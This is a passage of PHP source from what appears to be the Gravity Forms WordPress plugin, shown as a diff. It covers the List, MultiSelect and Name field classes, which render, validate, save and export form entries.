$is_form_editor = $this->is_form_editor();
$disabled_text = $is_form_editor ? 'disabled="disabled"' : '';
if ( ! empty( $value ) ) {
$value = maybe_unserialize( $value );
}
if ( ! is_array( $value ) ) {
$value = array( array() );
}
$has_columns = is_array( $this->choices );
$columns = $has_columns ? $this->choices : array( array() );
$shim_style = is_rtl() ? 'position:absolute;left:999em;' : 'position:absolute;left:-999em;';
$label_target_shim = sprintf( '<input type=\'text\' id=\'input_%1$s_%2$s_shim\' style=\'%3$s\' onfocus=\'jQuery( "#field_%1$s_%2$s table tr td:first-child input" ).focus();\' />', $form_id, $this->id, $shim_style );
$list = '';
if ( ! self::$_style_block_printed ){
// This style block needs to be inline so that the list field continues to work even if the option to turn off CSS output is activated.
$list .= '<style type="text/css">
body .ginput_container_list table.gfield_list tbody tr td.gfield_list_icons {
vertical-align: middle !important;
}
body .ginput_container_list table.gfield_list tbody tr td.gfield_list_icons img.add_list_item,
body .ginput_container_list table.gfield_list tbody tr td.gfield_list_icons img.delete_list_item {
background-color: transparent !important;
background-position: 0 0;
background-size: 16px 16px !important;
background-repeat: no-repeat;
border: none !important;
width: 16px !important;
height: 16px !important;
opacity: 0.5;
transition: opacity .5s ease-out;
-moz-transition: opacity .5s ease-out;
-webkit-transition: opacity .5s ease-out;
-o-transition: opacity .5s ease-out;
}
body .ginput_container_list table.gfield_list tbody tr td.gfield_list_icons img.add_list_item:hover,
body .ginput_container_list table.gfield_list tbody tr td.gfield_list_icons img.delete_list_item:hover {
opacity: 1.0;
}
</style>';
self::$_style_block_printed = true;
}
$list .= "<div class='ginput_container ginput_container_list ginput_list'>" .
$label_target_shim .
"<table class='gfield_list gfield_list_container'>";
$class_attr = '';
if ( $has_columns ) {
$list .= '<colgroup>';
for ( $colnum = 1; $colnum <= count( $columns ) + 1; $colnum++ ) {
$odd_even = ( $colnum % 2 ) == 0 ? 'even' : 'odd';
$list .= sprintf( "<col id='gfield_list_%d_col_%d' class='gfield_list_col_%s' />", $this->id, $colnum, $odd_even );
}
$list .= '</colgroup>';
$list .= '<thead><tr>';
foreach ( $columns as $column ) {
$list .= '<th>' . esc_html( $column['text'] ) . '</th>';
}
$list .= '<th>&nbsp;</th></tr></thead>';
} else {
$list .=
'<colgroup>' .
"<col id='gfield_list_{$this->id}_col1' class='gfield_list_col_odd' />" .
"<col id='gfield_list_{$this->id}_col2' class='gfield_list_col_even' />" .
'</colgroup>';
}
$delete_display = count( $value ) == 1 ? 'visibility:hidden;' : '';
$maxRow = intval( $this->maxRows );
$disabled_icon_class = ! empty( $maxRow ) && count( $value ) >= $maxRow ? 'gfield_icon_disabled' : '';
$add_icon = ! empty( $this->addIconUrl ) ? $this->addIconUrl : GFCommon::get_base_url() . '/images/list-add.svg';
$delete_icon = ! empty( $this->deleteIconUrl ) ? $this->deleteIconUrl : GFCommon::get_base_url() . '/images/list-remove.svg';
$add_events = $is_form_editor ? '' : "onclick='gformAddListItem(this, {$maxRow})' onkeypress='gformAddListItem(this, {$maxRow})'";
$delete_events = $is_form_editor ? '' : "onclick='gformDeleteListItem(this, {$maxRow})' onkeypress='gformDeleteListItem(this, {$maxRow})'";
$list .= '<tbody>';
$rownum = 1;
foreach ( $value as $item ) {
$odd_even = ( $rownum % 2 ) == 0 ? 'even' : 'odd';
$list .= "<tr class='gfield_list_row_{$odd_even} gfield_list_group'>";
$colnum = 1;
foreach ( $columns as $column ) {
$data_label = '';
// Getting value. Taking into account columns being added/removed from form meta.
if ( is_array( $item ) ) {
if ( $has_columns ) {
$val = rgar( $item, $column['text'] );
$data_label = "data-label='" . esc_attr( $column['text'] ) . "'";
} else {
$vals = array_values( $item );
$val = rgar( $vals, 0 );
}
} else {
$val = $colnum == 1 ? $item : '';
}
$list .= "<td class='gfield_list_cell gfield_list_{$this->id}_cell{$colnum}' {$data_label}>" . $this->get_list_input( $has_columns, $column, $val, $form_id ) . '</td>';
$colnum ++;
}
if ( $this->maxRows != 1 ) {
// Can't replace these icons with the webfont versions since they appear on the front end.
$list .= "<td class='gfield_list_icons'>";
$list .= " <img src='{$add_icon}' class='add_list_item {$disabled_icon_class}' {$disabled_text} title='" . esc_attr__( 'Add another row', 'gravityforms' ) . "' alt='" . esc_attr__( 'Add a new row', 'gravityforms' ) . "' {$add_events} style='cursor:pointer;' " . $this->get_tabindex() . "/>" .
" <img src='{$delete_icon}' class='delete_list_item' {$disabled_text} title='" . esc_attr__( 'Remove this row', 'gravityforms' ) . "' alt='" . esc_attr__( 'Remove this row', 'gravityforms' ) . "' {$delete_events} style='cursor:pointer; {$delete_display}' " . $this->get_tabindex() . "/>";
$list .= '</td>';
}
$list .= '</tr>';
if ( ! empty( $maxRow ) && $rownum >= $maxRow ) {
break;
}
$rownum ++;
}
$list .= '</tbody>';
$list .= '</table></div>';
return $list;
}
/**
* Builds the input that will be inside the List field.
*
* @since Unknown
* @access public
*
* @uses GF_Field::get_tabindex()
* @uses GF_Field::is_form_editor()
* @uses GF_Field_List::$choices
*
* @param bool $has_columns If the input has columns.
* @param array $column The column details.
* @param string $value The existing value of the input.
* @param int $form_id The form ID.
*
* @return string The input HTML markup.
*/
public function get_list_input( $has_columns, $column, $value, $form_id ) {
$tabindex = $this->get_tabindex();
$disabled = $this->is_form_editor() ? 'disabled' : '';
$column_index = 1;
if ( $has_columns && is_array( $this->choices ) ) {
foreach ( $this->choices as $choice ) {
if ( $choice['text'] == $column['text'] ) {
break;
}
$column_index ++;
}
}
$input_info = array( 'type' => 'text' );
/**
* Filters the column input.
*
* @since Unknown
*
* @param array $input_info Information about the input. Contains the input type.
* @param object GF_Field_List Field object for this field type.
* @param string $column['text'] The column text value.
* @param int $form_id The form ID.
*/
$input_info = gf_apply_filters( array(
'gform_column_input',
$form_id,
$this->id,
$column_index
), $input_info, $this, rgar( $column, 'text' ), $value, $form_id );
switch ( $input_info['type'] ) {
case 'select' :
$input = "<select name='input_{$this->id}[]' {$tabindex} {$disabled} >";
if ( ! is_array( $input_info['choices'] ) ) {
$input_info['choices'] = array_map( 'trim', explode( ',', $input_info['choices'] ) );
}
foreach ( $input_info['choices'] as $choice ) {
if ( is_array( $choice ) ) {
$choice_value = $choice['value'];
$choice_text = $choice['text'];
$choice_selected = array_key_exists( 'isSelected', $choice ) ? $choice['isSelected'] : false;
} else {
$choice_value = $choice;
$choice_text = $choice;
$choice_selected = false;
}
$is_selected = empty( $value ) ? $choice_selected : $choice_value == $value;
$selected = $is_selected ? "selected='selected'" : '';
$input .= "<option value='" . esc_attr( $choice_value ) . "' {$selected}>" . esc_html( $choice_text ) . '</option>';
}
$input .= '</select>';
break;
default :
$input = "<input type='text' name='input_{$this->id}[]' value='" . esc_attr( $value ) . "' {$tabindex} {$disabled}/>";
break;
}
/**
* Filters the column input HTML markup.
*
* @since Unknown
*
* @param string $input The input markup.
* @param array $input_info The information that was used to build the input.
* @param object GF_Field_List An instance of the List field object.
* @param string $column['text'] The column text value.
* @param int $form_id The form ID.
*/
return gf_apply_filters( array(
'gform_column_input_content',
$form_id,
$this->id,
$column_index
), $input, $input_info, $this, rgar( $column, 'text' ), $value, $form_id );
}
/**
* Gets the CSS class to be used in the field label.
*
* @since Unknown
* @access public
*
* @used-by GF_Field::get_field_content()
*
* @return string String containing the CSS class names.
*/
public function get_field_label_class(){
$has_columns = is_array( $this->choices );
return $has_columns ? 'gfield_label gfield_label_before_complex' : 'gfield_label';
}
/**
* Gets the value of te field from the form submission.
*
* @since Unknown
* @access public
*
* @used-by GFFormsModel::get_field_value()
* @uses GF_Field::get_input_value_submission()
* @uses GF_Field_List::create_list_array()
*
* @param array $field_values The properties to search for.
* @param bool $get_from_post_global_var If the global GET variable should be used to obtain the value. Defaults to true.
*
* @return array The submission value.
*/
public function get_value_submission( $field_values, $get_from_post_global_var = true ) {
$value = $this->get_input_value_submission( 'input_' . $this->id, $this->inputName, $field_values, $get_from_post_global_var );
// Allow the value to be an array of row arrays in addition to the array of rows.
if ( is_array( rgar( $value, 0 ) ) ){
// Already in correct format, return value unchanged.
return $value;
}
// Not already in the correct format.
$value = $this->create_list_array( $value );
return $value;
}
/**
* Check if the submission value is empty.
*
* @since Unknown
* @access public
*
* @used-by GFFormDisplay::is_empty()
* @uses GF_Field_List::$id
*
* @param int $form_id The form ID to check.
*
* @return bool True if empty. False otherwise.
*/
public function is_value_submission_empty( $form_id ) {
$value = rgpost( 'input_' . $this->id );
if ( is_array( $value ) ) {
// Empty if all inputs are empty (for inputs with the same name).
foreach ( $value as $input ) {
if ( strlen( trim( $input ) ) > 0 ) {
return false;
}
}
}
return true;
}
/**
* Gets the field value HTML markup to be used on the entry detail page.
*
* @since Unknown
* @access public
*
* @used-by GFCommon::get_lead_field_display()
*
* @param array $value The submitted entry value.
* @param string $currency Not used.
* @param bool $use_text Not used.
* @param string $format The format to be used when building the items.
* Accepted values are text, url, or html. Defaults to html.
* @param string $media Defines how the content will be output.
* Accepted values are screen or email. Defaults to screen.
*
* @return string The HTML markup to be displayed.
*/
public function get_value_entry_detail( $value, $currency = '', $use_text = false, $format = 'html', $media = 'screen' ) {
if ( empty( $value ) ) {
return '';
}
$value = maybe_unserialize( $value );
if( ! is_array( $value ) || ! isset( $value[0] ) ) {
return '';
}
$has_columns = is_array( $value[0] );
if ( ! $has_columns ) {
$items = '';
foreach ( $value as $key => $item ) {
if ( ! empty( $item ) ) {
$item = wp_kses_post( $item );
switch ( $format ) {
case 'text' :
$items .= $item . ', ';
break;
case 'url' :
$items .= $item . ',';
break;
default :
if ( $media == 'email' ) {
$items .= "<li>{$item}</li>";
} else {
$items .= "<li>{$item}</li>";
}
break;
}
}
}
if ( empty( $items ) ) {
return '';
} elseif ( $format == 'text' ) {
return substr( $items, 0, strlen( $items ) - 2 ); // Removing last comma.
} elseif ( $format == 'url' ) {
return substr( $items, 0, strlen( $items ) - 1 ); // Removing last comma.
} elseif ( $media == 'email' ) {
return "<ul class='bulleted'>{$items}</ul>";
} else {
return "<ul class='bulleted'>{$items}</ul>";
}
} elseif ( is_array( $value ) ) {
$columns = array_keys( $value[0] );
$list = '';
switch ( $format ) {
case 'text' :
$is_first_row = true;
foreach ( $value as $item ) {
if ( ! $is_first_row ) {
$list .= "\n\n" . $this->label . ': ';
}
$item = array_map( 'wp_kses_post', $item );
$list .= implode( ',', array_values( $item ) );
$is_first_row = false;
}
break;
case 'url' :
foreach ( $value as $item ) {
$item = array_map( 'wp_kses_post', $item );
$list .= implode( "|", array_values( $item ) ) . ',';
}
if ( ! empty( $list ) ) {
$list = substr( $list, 0, strlen( $list ) - 1 );
}
break;
default :
if ( $media == 'email' ) {
$list = "<table class='gfield_list' style='border-top: 1px solid #DFDFDF; border-left: 1px solid #DFDFDF; border-spacing: 0; padding: 0; margin: 2px 0 6px; width: 100%'><thead><tr>\n";
//reading columns from entry data
foreach ( $columns as $column ) {
$list .= "<th style='background-image: none; border-right: 1px solid #DFDFDF; border-bottom: 1px solid #DFDFDF; padding: 6px 10px; font-family: sans-serif; font-size: 12px; font-weight: bold; background-color: #F1F1F1; color:#333; text-align:left'>" . esc_html( $column ) . '</th>' . "\n";
}
$list .= '</tr></thead>' . "\n";
$list .= "<tbody style='background-color: #F9F9F9'>";
foreach ( $value as $item ) {
$list .= '<tr>';
foreach ( $columns as $column ) {
$val = rgar( $item, $column );
$val = wp_kses_post( $val );
$list .= "<td style='padding: 6px 10px; border-right: 1px solid #DFDFDF; border-bottom: 1px solid #DFDFDF; border-top: 1px solid #FFF; font-family: sans-serif; font-size:12px;'>{$val}</td>\n";
}
$list .= '</tr>' . "\n";
}
$list .= '<tbody></table>' . "\n";
} else {
$list = "<table class='gfield_list'><thead><tr>";
// Reading columns from entry data.
foreach ( $columns as $column ) {
$list .= '<th>' . esc_html( $column ) . '</th>' . "\n";
}
$list .= '</tr></thead>' . "\n";
$list .= '<tbody>';
foreach ( $value as $item ) {
$list .= '<tr>';
foreach ( $columns as $column ) {
$val = rgar( $item, $column );
$val = wp_kses_post( $val );
$list .= "<td>{$val}</td>\n";
}
$list .= '</tr>' . "\n";
}
$list .= '<tbody></table>' . "\n";
}
break;
}
return $list;
}
return '';
}
/**
* Gets the value of the field when the entry is saved.
*
* @since Unknown
* @access public
*
* @used-by GFFormsModel::prepare_value()
* @uses GF_Field_List::$adminOnly
* @uses GF_Field_List::$allowsPrepopulate
* @uses GF_Field_List::create_list_array()
* @uses GFCommon::is_empty_array()
* @uses GF_Field::sanitize_entry_value()
*
* @param string $value The value to use.
* @param array $form The form that the entry is associated with.
* @param string $input_name The name of the input containing the value.
* @param int $lead_id The entry ID.
* @param array $lead The Entry Object.
*
* @return string The entry value. Escaped.
*/
public function get_value_save_entry( $value, $form, $input_name, $lead_id, $lead ) {
if ( $this->is_administrative() && $this->allowsPrepopulate ) {
$value = json_decode( $value );
}
if ( GFCommon::is_empty_array( $value ) ) {
$value = '';
} else {
$value = $this->create_list_array( $value );
$value = serialize( $value );
}
$value_safe = $this->sanitize_entry_value( $value, $form['id'] );
return $value_safe;
}
/**
* Gets merge tag values.
*
* @since Unknown
* @access public
*
* @used-by
* @uses GFCommon::get_lead_field_display()
*
* @param array|string $value The value of the input.
* @param string $input_id The input ID to use.
* @param array $entry The Entry Object.
* @param array $form The Form Object
* @param string $modifier The modifier passed.
* @param array|string $raw_value The raw value of the input.
* @param bool $url_encode If the result should be URL encoded.
* @param bool $esc_html If the HTML should be escaped.
* @param string $format The format that the value should be.
* @param bool $nl2br If the nl2br function should be used.
*
* @return string The processed merge tag.
*/
public function get_value_merge_tag( $value, $input_id, $entry, $form, $modifier, $raw_value, $url_encode, $esc_html, $format, $nl2br ) {
$modifiers = $this->get_modifiers();
$allowed_modifiers = array( 'text', 'html', 'url' );
if( $found_modifiers = array_intersect( $modifiers, $allowed_modifiers ) ) {
$output_format = $found_modifiers[0];
} else {
$output_format = $format;
}
return GFCommon::get_lead_field_display( $this, $raw_value, $entry['currency'], true, $output_format );
}
/**
* Creates an array from the list items.
*
* @since Unknown
* @access public
*
* @used-by GF_Field_List::get_value_save_entry()
* @used-by GF_Field_List::get_value_submission()
*
* @param array $value The pre-formatted list.
*
* @return array The list rows.
*/
function create_list_array( $value ) {
if ( ! $this->enableColumns ) {
return $value;
} else {
$value = empty( $value ) ? array() : $value;
$col_count = count( $this->choices );
$rows = array();
$row_count = count( $value ) / $col_count;
$col_index = 0;
for ( $i = 0; $i < $row_count; $i ++ ) {
$row = array();
foreach ( $this->choices as $column ) {
$row[ $column['text'] ] = rgar( $value, $col_index );
$col_index ++;
}
$rows[] = $row;
}
return $rows;
}
}
/**
* Sanitizes the field settings.
*
* @since Unknown
* @access public
*
* @used-by GFFormDetail::add_field()
* @used-by GFFormsModel::sanitize_settings()
* @uses GF_Field::sanitize_settings()
* @uses GF_Field_List::$maxRows
*
* @return void
*/
public function sanitize_settings() {
parent::sanitize_settings();
$this->maxRows = absint( $this->maxRows );
}
/**
* Gets the field value, formatted for exports. For CSV export return an array.
*
* @since Unknown
* @access public
*
* @used-by GFExport::start_export()
* @used-by GFAddOn::get_field_value()
* @uses GF_Field_List::$id
* @uses GF_Field_List::$enableColumns
* @uses GF_Field_List::$choices
* @uses GFCommon::implode_non_blank()
*
* @param array $entry The Entry Object.
* @param string $input_id Input ID to export. If not defined, uses the current input ID. Defaults to empty string.
* @param bool $use_text Not used. Defaults to false.
* @param bool $is_csv Is the value going to be used in the CSV export? Defaults to false.
*
* @return string|array
*/
public function get_value_export( $entry, $input_id = '', $use_text = false, $is_csv = false ) {
if ( empty( $input_id ) ) {
$input_id = $this->id;
} elseif ( ! ctype_digit( $input_id ) ) {
$field_id_array = explode( '.', $input_id );
$input_id = rgar( $field_id_array, 0 );
$column_num = rgar( $field_id_array, 1 );
}
$value = rgar( $entry, $input_id );
$value = unserialize( $value );
if ( empty( $value ) || $is_csv ) {
return $value;
}
$list_values = $column_values = $value;
if ( isset( $column_num ) && is_numeric( $column_num ) && $this->enableColumns ) {
$column = rgars( $this->choices, "{$column_num}/text" );
$column_values = array();
foreach ( $list_values as $value ) {
$column_values[] = rgar( $value, $column );
}
} elseif ( $this->enableColumns ) {
return json_encode( $list_values );
}
return GFCommon::implode_non_blank( ', ', $column_values );
}
}
// Register the list field.
GF_Fields::register( new GF_Field_List() );

View File

@@ -0,0 +1,395 @@
<?php
// If the GF_Field class isn't available, bail.
if ( ! class_exists( 'GFForms' ) ) {
die();
}
/**
* Class GF_Field_MultiSelect
*
* Allows the creation of multiselect fields.
*
* @since Unknown
*
* @uses GF_Field
*/
class GF_Field_MultiSelect extends GF_Field {
public $type = 'multiselect';
/**
* Returns the field title.
*
* @since Unknown
* @access public
*
* @return string The field title. Escaped.
*/
public function get_form_editor_field_title() {
return esc_attr__( 'Multi Select', 'gravityforms' );
}
/**
* Returns the class names of the settings which should be available on the field in the form editor.
*
* @since Unknown
* @access public
*
* @return array Settings available within the field editor.
*/
function get_form_editor_field_settings() {
return array(
'conditional_logic_field_setting',
'prepopulate_field_setting',
'error_message_setting',
'enable_enhanced_ui_setting',
'label_setting',
'label_placement_setting',
'admin_label_setting',
'size_setting',
'choices_setting',
'rules_setting',
'visibility_setting',
'description_setting',
'css_class_setting',
);
}
/**
* Indicates this field type can be used when configuring conditional logic rules.
*
* @return bool
*/
public function is_conditional_logic_supported() {
return true;
}
/**
* Returns the field inner markup.
*
* @since Unknown
* @access public
*
* @uses GF_Field_MultiSelect::is_entry_detail()
* @uses GF_Field_MultiSelect::is_form_editor()
* @uses GF_Field_MultiSelect::get_conditional_logic_event()
* @uses GF_Field_MultiSelect::get_tabindex()
*
* @param array $form The Form Object currently being processed.
* @param string|array $value The field value. From default/dynamic population, $_POST, or a resumed incomplete submission.
* @param null|array $entry Null or the Entry Object currently being edited.
*
* @return string The field input HTML markup.
*/
public function get_field_input( $form, $value = '', $entry = null ) {
$form_id = absint( $form['id'] );
$is_entry_detail = $this->is_entry_detail();
$is_form_editor = $this->is_form_editor();
$id = $this->id;
$field_id = $is_entry_detail || $is_form_editor || $form_id == 0 ? "input_$id" : 'input_' . $form_id . "_$id";
$logic_event = $this->get_conditional_logic_event( 'keyup' );
$size = $this->size;
$class_suffix = $is_entry_detail ? '_admin' : '';
$class = $size . $class_suffix;
$css_class = trim( esc_attr( $class ) . ' gfield_select' );
$tabindex = $this->get_tabindex();
$disabled_text = $is_form_editor ? 'disabled="disabled"' : '';
/**
* Allow the placeholder used by the enhanced ui to be overridden
*
* @since 1.9.14 Third parameter containing the field ID was added.
* @since Unknown
*
* @param string $placeholder The placeholder text.
* @param integer $form_id The ID of the current form.
*/
$placeholder = gf_apply_filters( array(
'gform_multiselect_placeholder',
$form_id,
$this->id
), __( 'Click to select...', 'gravityforms' ), $form_id, $this );
$placeholder = $this->enableEnhancedUI ? "data-placeholder='" . esc_attr( $placeholder ) . "'" : '';
$size = $this->multiSelectSize;
if ( empty( $size ) ) {
$size = 7;
}
return sprintf( "<div class='ginput_container ginput_container_multiselect'><select multiple='multiple' {$placeholder} size='{$size}' name='input_%d[]' id='%s' {$logic_event} class='%s' $tabindex %s>%s</select></div>", $id, esc_attr( $field_id ), $css_class, $disabled_text, $this->get_choices( $value ) );
}
/**
* Helper for retrieving the markup for the choices.
*
* @since Unknown
* @access public
*
* @uses GFCommon::get_select_choices()
*
* @param string|array $value The field value. From default/dynamic population, $_POST, or a resumed incomplete submission.
*
* @return string Returns the choices available within the multi-select field.
*/
public function get_choices( $value ) {
$value = $this->to_array( $value );
return GFCommon::get_select_choices( $this, $value, false );
}
/**
* Format the entry value for display on the entries list page.
*
* @since Unknown
* @access public
*
* @param string|array $value The field value.
* @param array $entry The Entry Object currently being processed.
* @param string $field_id The field or input ID currently being processed.
* @param array $columns The properties for the columns being displayed on the entry list page.
* @param array $form The Form Object currently being processed.
*
* @return string $value The value of the field. Escaped.
*/
public function get_value_entry_list( $value, $entry, $field_id, $columns, $form ) {
// Add space after comma-delimited values.
$value = implode( ', ', $this->to_array( $value ) );
return esc_html( $value );
}
/**
* Format the entry value for display on the entry detail page and for the {all_fields} merge tag.
*
* @since Unknown
* @access public
*
* @uses GFCommon::selection_display()
*
* @param string|array $value The field value.
* @param string $currency The entry currency code.
* @param bool|false $use_text When processing choice based fields should the choice text be returned instead of the value.
* @param string $format The format requested for the location the merge is being used. Possible values: html, text or url.
* @param string $media The location where the value will be displayed. Possible values: screen or email.
*
* @return string The list items, stored within an unordered list.
*/
public function get_value_entry_detail( $value, $currency = '', $use_text = false, $format = 'html', $media = 'screen' ) {
if ( empty( $value ) || $format == 'text' ) {
return $value;
}
$value = $this->to_array( $value );
$items = '';
foreach ( $value as $item ) {
$item_value = GFCommon::selection_display( $item, $this, $currency, $use_text );
$items .= '<li>' . esc_html( $item_value ) . '</li>';
}
return "<ul class='bulleted'>{$items}</ul>";
}
/**
* Format the value before it is saved to the Entry Object.
*
* @since Unknown
* @access public
*
* @uses GF_Field_MultiSelect::sanitize_entry_value()
*
* @param array|string $value The value to be saved.
* @param array $form The Form Object currently being processed.
* @param string $input_name The input name used when accessing the $_POST.
* @param int $lead_id The ID of the Entry currently being processed.
* @param array $lead The Entry Object currently being processed.
*
* @return string $value The field value. Comma separated if an array.
*/
public function get_value_save_entry( $value, $form, $input_name, $lead_id, $lead ) {
if ( is_array( $value ) ) {
foreach ( $value as &$v ) {
$v = $this->sanitize_entry_value( $v, $form['id'] );
}
} else {
$value = $this->sanitize_entry_value( $value, $form['id'] );
}
return empty( $value ) ? '' : $this->to_string( $value );
}
/**
* Format the entry value for when the field/input merge tag is processed.
*
* @since Unknown
* @access public
*
* @uses GFCommon::format_post_category()
* @uses GFCommon::format_variable_value()
* @uses GFCommon::selection_display()
* @uses GFCommon::implode_non_blank()
*
* @param string|array $value The field value. Depending on the location the merge tag is being used the following functions may have already been applied to the value: esc_html, nl2br, and urlencode.
* @param string $input_id The field or input ID from the merge tag currently being processed.
* @param array $entry The Entry Object currently being processed.
* @param array $form The Form Object currently being processed.
* @param string $modifier The merge tag modifier. e.g. value
* @param string|array $raw_value The raw field value from before any formatting was applied to $value.
* @param bool $url_encode Indicates if the urlencode function may have been applied to the $value.
* @param bool $esc_html Indicates if the esc_html function may have been applied to the $value.
* @param string $format The format requested for the location the merge is being used. Possible values: html, text or url.
* @param bool $nl2br Indicates if the nl2br function may have been applied to the $value.
*
* @return string $return The merge tag value.
*/
public function get_value_merge_tag( $value, $input_id, $entry, $form, $modifier, $raw_value, $url_encode, $esc_html, $format, $nl2br ) {
$items = $this->to_array( $raw_value );
if ( $this->type == 'post_category' ) {
$use_id = $modifier == 'id';
if ( is_array( $items ) ) {
foreach ( $items as &$item ) {
$cat = GFCommon::format_post_category( $item, $use_id );
$item = GFCommon::format_variable_value( $cat, $url_encode, $esc_html, $format );
}
}
} elseif ( $modifier != 'value' ) {
foreach ( $items as &$item ) {
$item = GFCommon::selection_display( $item, $this, rgar( $entry, 'currency' ), true );
$item = GFCommon::format_variable_value( $item, $url_encode, $esc_html, $format );
}
}
$return = GFCommon::implode_non_blank( ', ', $items );
if ( $format == 'html' || $esc_html ) {
$return = esc_html( $return );
}
return $return;
}
/**
* Format the entry value before it is used in entry exports and by framework add-ons using GFAddOn::get_field_value().
*
* @since Unknown
* @access public
*
* @uses GFCommon::selection_display()
* @uses GFCommon::implode_non_blank()
*
* @param array $entry The entry currently being processed.
* @param string $input_id The field or input ID.
* @param bool|false $use_text When processing choice based fields should the choice text be returned instead of the value.
* @param bool|false $is_csv Is the value going to be used in the .csv entries export?
*
* @return string $value The value of a field from an export file.
*/
public function get_value_export( $entry, $input_id = '', $use_text = false, $is_csv = false ) {
if ( empty( $input_id ) ) {
$input_id = $this->id;
}
$value = rgar( $entry, $input_id );
if ( ! empty( $value ) && ! $is_csv ) {
$items = $this->to_array( $value );
foreach ( $items as &$item ) {
$item = GFCommon::selection_display( $item, $this, rgar( $entry, 'currency' ), $use_text );
}
$value = GFCommon::implode_non_blank( ', ', $items );
} elseif ( $this->storageType === 'json' ) {
$items = json_decode( $value );
$value = GFCommon::implode_non_blank( ', ', $items );
}
return $value;
}
/**
* Converts an array to a string.
*
* @since 2.2.3.7 Changed access to public.
* @since 2.2
* @access public
*
* @uses \GF_Field_MultiSelect::$storageType
*
* @param array $value The array to convert to a string.
*
* @return string The converted string.
*/
public function to_string( $value ) {
if ( $this->storageType === 'json' ) {
return json_encode( $value );
} else {
return is_array( $value ) ? implode( ',', $value ) : $value;
}
}
/**
* Converts a string to an array.
*
* @since 2.2.3.7 Changed access to public.
* @since 2.2
* @access public
*
* @uses \GF_Field_MultiSelect::$storageType
*
* @param string $value A comma-separated or JSON string to convert.
*
* @return array The converted array.
*/
public function to_array( $value ) {
if ( empty( $value ) ) {
return array();
} elseif ( is_array( $value ) ) {
return $value;
} elseif ( $this->storageType !== 'json' || $value[0] !== '[' ) {
return array_map( 'trim', explode( ',', $value ) );
} else {
$json = json_decode( $value, true );
return $json == null ? array() : $json;
}
}
/**
* Forces settings into expected values while saving the form object.
*
* No escaping should be done at this stage to prevent double escaping on output.
*
* Currently called only for forms created after version 1.9.6.10.
*
* @since Unknown
* @access public
*
* @return void
*
*/
public function sanitize_settings() {
parent::sanitize_settings();
$this->enableEnhancedUI = (bool) $this->enableEnhancedUI;
$this->storageType = empty( $this->storageType ) || $this->storageType === 'json' ? $this->storageType : 'json';
if ( $this->type === 'post_category' ) {
$this->displayAllCategories = (bool) $this->displayAllCategories;
}
}
}
// Register the new field type.
GF_Fields::register( new GF_Field_MultiSelect() );

View File

@@ -0,0 +1,647 @@
<?php
// If Gravity Forms isn't loaded, bail.
if ( ! class_exists( 'GFForms' ) ) {
die();
}
/**
* Class GF_Field_Name
*
* Handles the behavior of the Name field.
*
* @since Unknown
*/
class GF_Field_Name extends GF_Field {
/**
* Sets the field type.
*
* @since Unknown
* @access public
*
* @var string The type of field.
*/
public $type = 'name';
/**
* Sets the field title of the Name field.
*
* @since Unknown
* @access public
*
* @used-by GFCommon::get_field_type_title()
* @used-by GF_Field::get_form_editor_button()
*
* @return string
*/
public function get_form_editor_field_title() {
return esc_attr__( 'Name', 'gravityforms' );
}
/**
* Defines if conditional logic is supported by the Name field.
*
* @since Unknown
* @access public
*
* @used-by GFFormDetail::inline_scripts()
* @used-by GFFormSettings::output_field_scripts()
*
* @return bool true
*/
public function is_conditional_logic_supported() {
return true;
}
/**
* Validates Name field inputs.
*
* @since Unknown
* @access public
*
* @used-by GFFormDisplay::validate()
* @uses GF_Field_Name::$isRequired
* @uses GF_Field_Name::$nameFormat
* @uses GF_Field_Name::get_input_property
* @uses GF_Field_Name::$failed_validation
* @uses GF_Field_Name::$validation_message
* @uses GF_Field_Name::$errorMessage
*
* @param array|string $value The value of the field to validate. Not used here.
* @param array $form The Form Object. Not used here.
*
* @return void
*/
function validate( $value, $form ) {
if ( $this->isRequired && $this->nameFormat != 'simple' ) {
$first = rgpost( 'input_' . $this->id . '_3' );
$last = rgpost( 'input_' . $this->id . '_6' );
if ( ( empty( $first ) && ! $this->get_input_property( '3', 'isHidden' ) )
|| ( empty( $last ) && ! $this->get_input_property( '6', 'isHidden' ) ) ) {
$this->failed_validation = true;
$this->validation_message = empty( $this->errorMessage ) ? esc_html__( 'This field is required. Please enter the first and last name.', 'gravityforms' ) : $this->errorMessage;
}
}
}
/**
* Defines the field settings available for the Name field in the form editor.
*
* @since Unknown
* @access public
*
* @used-by GFFormDetail::inline_scripts()
*
* @return array The field settings available.
*/
function get_form_editor_field_settings() {
return array(
'conditional_logic_field_setting',
'prepopulate_field_setting',
'error_message_setting',
'label_setting',
'admin_label_setting',
'label_placement_setting',
'sub_label_placement_setting',
'default_input_values_setting',
'input_placeholders_setting',
'name_setting',
'rules_setting',
'visibility_setting',
'description_setting',
'css_class_setting',
);
}
/**
* Gets the HTML markup for the field input.
*
* @since Unknown
* @access public
*
* @used-by GFCommon::get_field_input()
* @uses GF_Field::is_entry_detail()
* @uses GF_Field::is_form_editor()
* @uses GF_Field_Name::$size
* @uses GF_Field_Name::$id
* @uses GF_Field_Name::$subLabelPlacement
* @uses GF_Field_Name::$isRequired
* @uses GF_Field_Name::$failed_validation
* @uses GFForms::get()
* @uses GFFormsModel::get_input()
* @uses GFCommon::get_input_placeholder_attribute()
* @uses GFCommon::get_tabindex()
* @uses GFCommon::get_field_placeholder_attribute()
* @uses GF_Field_Name::get_css_class()
*
* @param array $form The Form Object.
* @param string $value The value of the field. Defaults to empty string.
* @param array|null $entry The Entry Object. Defaults to null.
*
* @return string The HTML markup for the field input.
*/
public function get_field_input( $form, $value = '', $entry = null ) {
$is_entry_detail = $this->is_entry_detail();
$is_form_editor = $this->is_form_editor();
$is_admin = $is_entry_detail || $is_form_editor;
$form_id = $form['id'];
$id = intval( $this->id );
$field_id = $is_entry_detail || $is_form_editor || $form_id == 0 ? "input_$id" : 'input_' . $form_id . "_$id";
$form_id = ( $is_entry_detail || $is_form_editor ) && empty( $form_id ) ? rgget( 'id' ) : $form_id;
$size = $this->size;
$class_suffix = rgget('view') == 'entry' ? '_admin' : '';
$class = $size . $class_suffix;
$disabled_text = $is_form_editor ? "disabled='disabled'" : '';
$class_suffix = $is_entry_detail ? '_admin' : '';
$form_sub_label_placement = rgar( $form, 'subLabelPlacement' );
$field_sub_label_placement = $this->subLabelPlacement;
$is_sub_label_above = $field_sub_label_placement == 'above' || ( empty( $field_sub_label_placement ) && $form_sub_label_placement == 'above' );
$sub_label_class_attribute = $field_sub_label_placement == 'hidden_label' ? "class='hidden_sub_label screen-reader-text'" : '';
$prefix = '';
$first = '';
$middle = '';
$last = '';
$suffix = '';
if ( is_array( $value ) ) {
$prefix = esc_attr( GFForms::get( $this->id . '.2', $value ) );
